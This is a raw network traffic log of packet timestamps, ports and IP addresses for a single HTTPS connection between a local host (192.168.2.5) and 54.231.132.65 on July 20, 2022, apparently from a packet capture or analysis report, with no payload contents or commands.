Jul 20, 2022 10:32:57.409636021 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.409673929 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409708977 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409737110 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409738064 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.409751892 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409796000 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.409852982 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.410481930 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.537698030 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.537745953 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.537832022 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.537839890 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.537878036 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.537905931 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.537915945 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.537957907 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.537976980 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.537992001 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.538064957 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.546919107 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.546977043 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.547034979 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.547074080 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.547100067 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.547178984 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.547238111 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.547255993 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.547271013 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.547323942 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.547657967 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.547719002 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.547765017 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.547780991 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.547799110 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.547822952 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.547868967 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.547894001 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.547933102 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.547967911 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.547981977 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.548018932 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.548038960 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.548047066 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.548085928 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.548127890 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.548166990 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.548181057 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.548208952 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.560528040 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.560575962 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.560647011 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.677557945 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.677632093 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.677700996 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.677737951 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.677773952 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.677812099 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.678348064 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.678392887 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.678432941 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.678456068 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.678476095 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.686275005 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.686319113 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.686405897 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.686448097 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.686470985 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.686793089 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.686840057 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.686880112 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.686892986 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.686922073 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.687694073 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.687740088 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.687767982 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.687784910 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.687808037 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.689311981 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.689361095 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.689402103 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.689410925 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.689438105 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.689456940 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.689493895 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.689877033 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.689915895 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.689960957 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.689979076 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.689996004 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.690026045 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.690035105 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.787035942 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.815376997 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.815398932 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.815424919 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.815434933 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.815469027 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.815485954 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.815485954 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.815543890 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.815557003 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.815696955 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.815720081 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.815747023 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.815756083 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.815757036 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.815769911 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.815810919 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.823962927 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.823995113 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.824024916 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.824057102 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.824073076 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.824104071 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.824136019 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.824620008 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.824666023 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.824676037 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.824707985 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.824722052 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.824763060 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.827270985 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.827337980 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.827392101 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.827406883 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.827431917 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.827461004 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.827475071 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.827505112 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.827506065 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.827531099 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.827550888 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.827585936 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.827615023 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.827691078 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.827717066 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.827745914 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.827754974 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.827800035 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.827805996 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.827847004 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.827969074 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.828006983 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.828058958 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.828058958 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.828073978 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.828085899 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.828119993 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.828253984 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.953743935 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.953778028 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.953830957 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.953874111 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.953892946 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.953917027 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.953960896 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.953996897 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.954040051 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.954087973 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.963025093 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.963058949 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.963162899 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.963200092 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.963265896 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.963319063 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.963917017 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.963944912 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.964037895 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.964059114 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.964099884 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.965672970 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.965703011 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.965770006 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.965792894 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.965822935 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.965909004 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.965933084 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.965961933 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.965970993 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.965996027 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.966029882 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.966072083 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.966089010 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.966098070 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.966140985 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.966178894 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.966239929 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.966264963 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.966291904 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.966314077 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.966325045 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.966347933 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.083148003 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.092669964 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.092683077 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.092699051 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.092726946 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.092753887 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.092770100 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.092787981 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.092818022 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.092827082 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.092843056 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.092850924 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.092854977 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.092861891 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.092881918 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.092888117 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.092892885 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.092926979 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.092957020 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.092967987 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.104819059 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.104871988 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.104892015 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.104907036 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.104943037 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.104973078 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.104990959 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.104995966 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105042934 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105051994 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105057001 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105067015 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105078936 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105087996 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105113983 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105129957 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105165005 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105179071 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105204105 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105237007 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105243921 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105273962 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105297089 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105304003 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105320930 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105340958 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105360031 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105367899 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105397940 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105444908 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105484962 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105499029 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105506897 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105532885 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105561972 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105595112 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105612993 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105622053 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.105649948 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105670929 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.105966091 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.106329918 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.230789900 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.230829000 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.230887890 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.230937004 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.230958939 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.230961084 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.230997086 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.231024981 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.231061935 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.231067896 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243114948 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243155003 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243304968 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.243335009 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243354082 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243393898 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243397951 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.243407011 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243448973 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.243470907 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243509054 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.243562937 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243608952 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243621111 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.243632078 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243654966 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.243683100 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.243716955 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243804932 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243829012 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243861914 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.243879080 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.243911028 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.244008064 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.244055033 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.244069099 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.244081020 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.244136095 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.244146109 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.244193077 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.244204998 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.244219065 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.244240046 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.244261980 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.244268894 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.244309902 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.244321108 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.244373083 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.244395971 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.244426012 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.244435072 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.244467974 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.244678974 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.244690895 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.244776011 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.245325089 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.371243000 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.371280909 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.371337891 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.371386051 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.371395111 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.371407032 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.371418953 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.371421099 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.371462107 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.371505976 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.371517897 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.382354975 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.382404089 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.382499933 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.382529974 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.382548094 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.382567883 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.382615089 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.382631063 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.382647991 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:58.382677078 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:58.382797956 CEST	443	49852	54.231.132.65	192.168.2.5
